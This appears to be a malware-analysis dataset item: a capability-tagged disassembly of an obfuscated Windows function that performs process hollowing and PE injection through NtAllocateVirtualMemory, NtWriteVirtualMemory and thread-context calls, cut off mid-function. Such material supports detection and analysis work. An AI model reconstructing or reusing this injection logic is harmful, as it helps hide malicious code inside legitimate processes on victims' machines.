Function at 0x100038e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x148
mov eax, dword [0x1006a800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006bb38]
mov eax, dword [0x1006bb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x14a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x149], al
mov dword [ebp - 0x150], 0x3b5123a4
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x154], eax
sub eax, 0x80959f00
je 0x10004f34
jmp 0x10003953
mov eax, dword [ebp - 0x154]
sub eax, 0x809f1b2b
je 0x10006a38
jmp 0x10003969
mov eax, dword [ebp - 0x154]
sub eax, 0x83098e7e
je 0x10005d97
jmp 0x1000397f
mov eax, dword [ebp - 0x154]
sub eax, 0x852e9d6d
je 0x10006283
jmp 0x10003995
mov eax, dword [ebp - 0x154]
sub eax, 0x86ce4d5d
je 0x10005c76
jmp 0x100039ab
mov eax, dword [ebp - 0x154]
sub eax, 0x8f3a0b76
je 0x100068ab
jmp 0x100039c1
mov eax, dword [ebp - 0x154]
sub eax, 0x98f25bc5
je 0x100062d4
jmp 0x100039d7
mov eax, dword [ebp - 0x154]
sub eax, 0x996c4e92
je 0x100067be
jmp 0x100039ed
mov eax, dword [ebp - 0x154]
sub eax, 0x9a008a00
je 0x10006528
jmp 0x10003a03
mov eax, dword [ebp - 0x154]
sub eax, 0x9b479e56
je 0x10005d30
jmp 0x10003a19
mov eax, dword [ebp - 0x154]
sub eax, 0x9f24c1d4
je 0x10004d82
jmp 0x10003a2f
mov eax, dword [ebp - 0x154]
sub eax, 0x9fc8d9b5
je 0x1000606a
jmp 0x10003a45
mov eax, dword [ebp - 0x154]
sub eax, 0xa28abfc8
je 0x10005b33
jmp 0x10003a5b
mov eax, dword [ebp - 0x154]
sub eax, 0xa295a9db
je 0x10005683
jmp 0x10003a71
mov eax, dword [ebp - 0x154]
sub eax, 0xa5bb17e5
je 0x10005ee5
jmp 0x10003a87
mov eax, dword [ebp - 0x154]
sub eax, 0xa6982e55
je 0x10004f85
jmp 0x10003a9d
mov eax, dword [ebp - 0x154]
sub eax, 0xa6a98dc7
je 0x10005a1f
jmp 0x10003ab3
mov eax, dword [ebp - 0x154]
sub eax, 0xa8fbeee7
je 0x1000504d
jmp 0x10003ac9
mov eax, dword [ebp - 0x154]
sub eax, 0xabd91f9a
je 0x100052a4
jmp 0x10003adf
mov eax, dword [ebp - 0x154]
sub eax, 0xad741a03
je 0x10006451
jmp 0x10003af5
mov eax, dword [ebp - 0x154]
sub eax, 0xadde7e8f
je 0x10006a9b
jmp 0x10003b0b
mov eax, dword [ebp - 0x154]
sub eax, 0xb11cad01
je 0x100047fa
jmp 0x10003b21
mov eax, dword [ebp - 0x154]
sub eax, 0xb14925d8
je 0x10005cba
jmp 0x10003b37
mov eax, dword [ebp - 0x154]
sub eax, 0xb3cd396e
je 0x10006206
jmp 0x10003b4d
mov eax, dword [ebp - 0x154]
sub eax, 0xb3cfbbb3
je 0x1000530a
jmp 0x10003b63
mov eax, dword [ebp - 0x154]
sub eax, 0xb3d65b21
je 0x10004e75
jmp 0x10003b79
mov eax, dword [ebp - 0x154]
sub eax, 0xb43081b9
je 0x100049e2
jmp 0x10003b8f
mov eax, dword [ebp - 0x154]
sub eax, 0xb477cfea
je 0x10006b68
jmp 0x10003ba5
mov eax, dword [ebp - 0x154]
sub eax, 0xb524d10b
je 0x10004cca
jmp 0x10003bbb
mov eax, dword [ebp - 0x154]
sub eax, 0xb64b0909
je 0x10005a82
jmp 0x10003bd1
mov eax, dword [ebp - 0x154]
sub eax, 0xb66c9149
je 0x1000500f
jmp 0x10003be7
mov eax, dword [ebp - 0x154]
sub eax, 0xb91fc26d
je 0x100055be
jmp 0x10003bfd
mov eax, dword [ebp - 0x154]
sub eax, 0xb9655eac
je 0x10005ffb
jmp 0x10003c13
mov eax, dword [ebp - 0x154]
sub eax, 0xbaba3809
je 0x10006abf
jmp 0x10003c29
mov eax, dword [ebp - 0x154]
sub eax, 0xbbd8bfe7
je 0x10004991
jmp 0x10003c3f
mov eax, dword [ebp - 0x154]
sub eax, 0xbd9e5f71
je 0x10006b2b
jmp 0x10003c55
mov eax, dword [ebp - 0x154]
sub eax, 0xbf631f09
je 0x10006bc5
jmp 0x10003c6b
mov eax, dword [ebp - 0x154]
sub eax, 0xc1b9b56a
je 0x10005ea3
jmp 0x10003c81
mov eax, dword [ebp - 0x154]
sub eax, 0xc75d9d2b
je 0x1000636d
jmp 0x10003c97
mov eax, dword [ebp - 0x154]
sub eax, 0xc83fcfa1
je 0x10005236
jmp 0x10003cad
mov eax, dword [ebp - 0x154]
sub eax, 0xca166d21
je 0x1000688a
jmp 0x10003cc3
mov eax, dword [ebp - 0x154]
sub eax, 0xcbc559ab
je 0x10004e5a
jmp 0x10003cd9
mov eax, dword [ebp - 0x154]
sub eax, 0xcc8d8174
je 0x10006b1c
jmp 0x10003cef
mov eax, dword [ebp - 0x154]
sub eax, 0xcd201281
je 0x10006849
jmp 0x10003d05
mov eax, dword [ebp - 0x154]
sub eax, 0xce4d2fd5
je 0x10005a39
jmp 0x10003d1b
mov eax, dword [ebp - 0x154]
sub eax, 0xcebb846c
je 0x100050e1
jmp 0x10003d31
mov eax, dword [ebp - 0x154]
sub eax, 0xcf969a72
je 0x10004dde
jmp 0x10003d47
mov eax, dword [ebp - 0x154]
sub eax, 0xd0a0682f
je 0x1000610b
jmp 0x10003d5d
mov eax, dword [ebp - 0x154]
sub eax, 0xd3543d5c
je 0x1000501e
jmp 0x10003d73
mov eax, dword [ebp - 0x154]
sub eax, 0xd6bc6e41
je 0x100057cf
jmp 0x10003d89
mov eax, dword [ebp - 0x154]
sub eax, 0xd7cdb5cd
je 0x10006bb0
jmp 0x10003d9f
mov eax, dword [ebp - 0x154]
sub eax, 0xd8e1a8df
je 0x100063b6
jmp 0x10003db5
mov eax, dword [ebp - 0x154]
sub eax, 0xda0c65c3
je 0x100066ef
jmp 0x10003dcb
mov eax, dword [ebp - 0x154]
sub eax, 0xdb40194b
je 0x10005759
jmp 0x10003de1
mov eax, dword [ebp - 0x154]
sub eax, 0xdbf20f8d
je 0x100066e0
jmp 0x10003df7
mov eax, dword [ebp - 0x154]
sub eax, 0xdd89e8df
je 0x100055a4
jmp 0x10003e0d
mov eax, dword [ebp - 0x154]
sub eax, 0xe55c4137
je 0x1000608f
jmp 0x10003e23
mov eax, dword [ebp - 0x154]
sub eax, 0xe5c26c43
je 0x10004c28
jmp 0x10003e39
mov eax, dword [ebp - 0x154]
sub eax, 0xe63b16e2
je 0x10006766
jmp 0x10003e4f
mov eax, dword [ebp - 0x154]
sub eax, 0xe76b6fac
je 0x100060ed
jmp 0x10003e65
mov eax, dword [ebp - 0x154]
sub eax, 0xec56f588
je 0x10006a86
jmp 0x10003e7b
mov eax, dword [ebp - 0x154]
sub eax, 0xeccb0bf3
je 0x10005e34
jmp 0x10003e91
mov eax, dword [ebp - 0x154]
sub eax, 0xee99920e
je 0x10005e94
jmp 0x10003ea7
mov eax, dword [ebp - 0x154]
sub eax, 0xf0906916
je 0x100051c8
jmp 0x10003ebd
mov eax, dword [ebp - 0x154]
sub eax, 0xf10084a5
je 0x10005b06
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
movzx edx, word [eax]
mov eax, 0xca166d21
mov ecx, 0x2ca1afdf
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [0x1006bb38]
mov ecx, dword [0x1006bb34]
mov edx, eax
sub edx, 0x5c20fbbc
sub edx, 1
add edx, 0x5c20fbbc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4287b7
mov ecx, 0xb43081b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x138]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10007cb0
add esp, 0xc
mov eax, dword [ebp - 0x134]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10007cb0
add esp, 0xc
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0xc0], eax
mov ecx, dword [0x1006bb38]
mov eax, dword [0x1006bb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4287b7
mov ecx, 0x1c8e19fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 4]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x150], 0x1ff36f32
jmp 0x10006be4
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb0]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0xa9], al
mov ecx, dword [0x1006bb38]
mov eax, dword [0x1006bb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x63bce910
mov ecx, 0x2dcca4cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100031f0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x28
add eax, 4
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x150], 0xcf969a72
jmp 0x10006be4
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x120]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov edx, dword [ebp - 0x118]
mov eax, 0xcbc559ab
mov ecx, 0x63a7d30
cmp dword [edx], 0
cmovge eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0x124]
mov dword [eax], 0
mov dword [ebp - 0x150], 0xb3d65b21
jmp 0x10006be4
mov eax, dword [ebp - 0x138]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x120]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x150], 0x63a7d30
jmp 0x10006be4
mov eax, dword [0x1006bb38]
mov ecx, dword [0x1006bb34]
mov edx, eax
add edx, 0xeebd70d2
sub edx, 1
sub edx, 0xeebd70d2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67262173
mov ecx, 0xa6982e55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xa4]
add ecx, eax
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov eax, dword [0x1006bb38]
mov ecx, dword [0x1006bb34]
mov edx, eax
add edx, 0x8dda9bdb
sub edx, 1
sub edx, 0x8dda9bdb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67262173
mov ecx, 0xb66c9149
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov dword [ebp - 0x150], 0xd3543d5c
jmp 0x10006be4
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x150], 0xa8fbeee7
jmp 0x10006be4
mov edx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0x98]
mov eax, 0x26e3cdc9
mov ecx, 0x3c78fde9
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x110]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov ecx, dword [0x1006bb38]
mov eax, dword [0x1006bb34]
mov edx, ecx
add edx, 0x3e2ee41c
sub edx, 1
sub edx, 0x3e2ee41c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5d782b93
mov ecx, 0x34c07bf5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x88]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x8c]
add edx, 0x8fb17373
add edx, eax
sub edx, 0x8fb17373
mov eax, dword [ebp - 0x138]
mov esi, dword [eax]
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x90]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x150], 0xc83fcfa1
jmp 0x10006be4
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x150], 0x21c62bfc
jmp 0x10006be4
mov ecx, dword [ebp - 0x84]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [0x1006bb38]
mov ecx, dword [0x1006bb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4bca6dc4
mov ecx, 0xb3cfbbb3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov dword [ebp - 0x150], 0xd3543d5c
jmp 0x10006be4
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x150], 0xb91fc26d
jmp 0x10006be4
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x104]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x100]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0x68]
mov eax, 0xa295a9db
mov ecx, 0x48a66c5c
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [0x1006bb38]
mov ecx, dword [0x1006bb34]
mov edx, eax
add edx, 0x4c245a0
sub edx, 1
sub edx, 0x4c245a0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6512c99b
mov ecx, 0x669d5359
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov ecx, dword [0x1006bb38]
mov eax, dword [0x1006bb34]
mov edx, ecx
add edx, 0xcda76b84
sub edx, 1
sub edx, 0xcda76b84
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xec56f588
mov ecx, 0xd6bc6e41
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x5c], eax
mov eax, dword [0x1006bb38]
mov ecx, dword [0x1006bb34]
mov edx, eax
sub edx, 0xe24b85cd
sub edx, 1
add edx, 0xe24b85cd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xec56f588
mov ecx, 0xebd96da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x150], 0xce4d2fd5
jmp 0x10006be4
mov eax, dword [0x1006bb38]
mov ecx, dword [0x1006bb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbaba3809
mov ecx, 0xb64b0909
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x4e], al
mov ecx, dword [0x1006bb38]
mov eax, dword [0x1006bb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbaba3809
mov ecx, 0xf10084a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x4d], al
mov dword [ebp - 0x150], 0x46794e84
jmp 0x10006be4
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0xeec969
sub ecx, eax
sub ecx, 0xeec969
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov dword [eax], 0
mov dword [ebp - 0x150], 0xb14925d8
jmp 0x10006be4
mov ecx, dword [0x1006bb38]
mov eax, dword [0x1006bb34]
mov edx, ecx
sub edx, 0xf39f439a
sub edx, 1
add edx, 0xf39f439a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x78173908
mov ecx, 0x9b479e56
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [0x1006bb38]
mov ecx, dword [0x1006bb34]
mov edx, eax
add edx, 0xac6c5c75
sub edx, 1
sub edx, 0xac6c5c75
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x78173908
mov ecx, 0x83098e7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov dword [ebp - 0x150], 0x21d133fb
jmp 0x10006be4
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x44], eax
mov eax, dword [0x1006bb38]
mov ecx, dword [0x1006bb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3c8e0b6e
mov ecx, 0xee99920e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov dword [ebp - 0x150], 0xc1b9b56a
jmp 0x10006be4
mov edx, dword [ebp - 0x44]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0xe7d9f590
or edx, ecx
or eax, 0xe7d9f590
xor edx, 0xffffffff
and edx, eax
mov eax, 0x7b5f71b8
mov ecx, 0xa5bb17e5
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov eax, dword [eax]
sub ecx, 0x1bcb0f9c
add ecx, eax
add ecx, 0x1bcb0f9c
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov edx, dword [ebp - 0xf0]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, 0xffffffff
xor edx, 0xee49d517
or eax, esi
or edx, 0xee49d517
xor eax, 0xffffffff
and eax, edx
add ecx, 0xcd49bb4a
add ecx, eax
sub ecx, 0xcd49bb4a
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x138]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x3d], al
mov dword [ebp - 0x150], 0xfc40ead9
jmp 0x10006be4
mov eax, dword [0x1006bb38]
mov ecx, dword [0x1006bb34]
mov edx, eax
sub edx, 0xfc6f0028
sub edx, 1
add edx, 0xfc6f0028
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc8d8174
mov ecx, 0x76a30ab9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x150], 0xe55c4137
jmp 0x10006be4
mov edx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x138]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x150], 0xe76b6fac
jmp 0x10006be4
mov dword [ebp - 0x150], 0x7b5f71b8
jmp 0x10006be4
mov ecx, dword [0x1006bb38]
mov eax, dword [0x1006bb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbd9e5f71
mov ecx, 0xffaaaef4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov dword [ebp - 0x150], 0xfb79c990
jmp 0x10006be4
mov eax, dword [0x1006bb38]
mov ecx, dword [0x1006bb34]
mov edx, eax
add edx, 0xc037ef33
sub edx, 1
sub edx, 0xc037ef33
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x764ad3d4
mov ecx, 0x98f25bc5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov dword [ebp - 0x150], 0xb14925d8
jmp 0x10006be4
mov eax, dword [0x1006bb38]
mov ecx, dword [0x1006bb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb477cfea
mov ecx, 0xd8e1a8df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x30]
xor esi, esi
